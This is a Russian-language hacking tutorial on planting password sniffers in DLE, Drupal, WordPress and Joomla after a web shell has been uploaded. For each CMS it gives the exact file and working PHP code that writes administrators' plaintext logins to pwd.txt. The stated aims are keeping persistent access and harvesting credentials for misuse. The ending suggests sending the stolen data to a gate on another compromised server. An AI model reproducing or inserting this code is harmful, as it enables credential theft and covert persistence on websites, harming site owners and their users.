Снифферы логинов-паролей в CMS

Иногда нужно получить логин/пароль пользователей CMS уже после того, как залит шелл. Причин, по которым вам это может понадобиться, не так уж и много:
  1. Сохранить доступ на случай удаления шелла.
  2. Сэкономить шекель на расшифровке хешей, либо узнать пароли, которые не могут быть сбручены в приемлемые сроки.
  3. Что делать с полученными парами логин/пароль (либо мыло/пароль) вы и так знаете.

DLE

Тестировалось на DLE 10.3. Ищем файл:
dle/engine/inc/include/init.php
Ищем следующие строки и изменяем:
if ($_REQUEST['subaction'] == 'dologin') {
        $username = $_POST['username'];
        $cmd5_password = md5($_POST['password']);
        $post = true;
        $check_log = true;
    }
}
if (check_login($username, $cmd5_password, $post, $check_log)) {
    ///////Начало нашей вставки///////
    $fh = fopen("pwd.txt","a");
    fwrite($fh, trim($username).":".trim($_POST['password'])."\n");
    fclose($fh);
    ///////Конец нашей вставки//////////
    $is_loged_in = true;
    $dle_login_hash = md5(SECURE_AUTH_KEY . $_SERVER['HTTP_HOST'] . $member_id['user_id'] . sha1($cmd5_password) . $config['key'] . date("Ymd"));
    if (!$_SESSION['dle_user_id'] and $_COOKIE['dle_user_id']) {
        session_regenerate_id();
        $_SESSION['dle_user_id'] = $_COOKIE['dle_user_id'];
        $_SESSION['dle_password'] = $_COOKIE['dle_password'];
    }
}

В итоге, в файл pwd.txt запишется валидный (шлак от брутфорсеров не попадет) логин/пароль администратора (если он зайдет через admin.php).

Drupal
Тестировалось на Drupal 7.36. Файл:
drupal/modules/user/user.module
Ищем функцию и добавляем наш код:
function user_authenticate($name, $password) {
  $uid = FALSE;
  if (!empty($name) && !empty($password)) {
    $account = user_load_by_name($name);
    if ($account) {
      // Allow alternate password hashing schemes.
      require_once DRUPAL_ROOT . '/' . variable_get('password_inc', 'includes/password.inc');
      if (user_check_password($password, $account)) {
        // Successful authentication.
        $uid = $account->uid;
        /////////Начало нашей вставки///////////////////////
            $fh = fopen("pwd.txt","w");
            fwrite($fh, $name.":".$password."\n");
            fclose($fh);
        /////////Конец нашей вставки///////////////////////
        // Update user to new password scheme if needed.
        if (user_needs_new_hash($account)) {
          user_save($account, array('pass' => $password));
        }
      }
    }
  }
  return $uid;
}

Валидные логин/пароль будут лежать в файле pwd.txt (в корне сайта).

WordPress

Тестировалось на WordPress 4.1.1. Открываем файл wp-login.php и меняем:
$user = wp_signon( '', $secure_cookie );
//////Начало нашей вставки////////////
if(!is_wp_error($user)){
        $fh = fopen("pwd.txt", "a+");
        fwrite($fh,$_POST['log'].":".$_POST['pwd']."\n");
        fclose($fh);
}
//////Конец нашей вставки////////////

Валидные логин/пасс все так же пишутся в pwd.txt.

Joomla

Тестировалось на Joomla 3.4.1. Открываем этот файл:
joomla/administrator/components/com_login/controller.php
Ищем функцию и  вставляем код:
public function login()
{
    // Check for request forgeries.
    JSession::checkToken('request') or jexit(JText::_('JINVALID_TOKEN'));
 
    $app = JFactory::getApplication();
 
    $model = $this->getModel('login');
    $credentials = $model->getState('credentials');
    /////Начало нашей вставки-1 ////////////
    $usr=$credentials['username'];
    $pwd=$credentials['password'];
    /////Конец нашей вставки-1////////////
    $return = $model->getState('return');
    $result = $app->login($credentials, array('action' => 'core.login.admin'));
    
    /////Начало нашей вставки-2 ////////////
    if($result){
        $fh = fopen("pwd.txt","a");
        fwrite($fh, trim($usr).":".trim($pwd)."\n");
        fclose($fh);
    }
    /////Конец нашей вставки-2////////////
    
    if (!($result instanceof Exception))
    {
        $app->redirect($return);
    }
 
    parent::display();
}
 
Логин/пасс администратора сохранятся в файл pwd.txt в папке administrator. Не помню точно, но вроде без сохранения логина/пароля в доп. переменных трактор не ехал, поэтому вставки две, а не одна.
Годный одепт знает, что создавать доп. файлы это палевно. Поэтому вместо кодеса, создающего pwd.txt он напишет продвинутый кодес, который будет слать данные в гейт расположенный на другом шелле.

Комментарии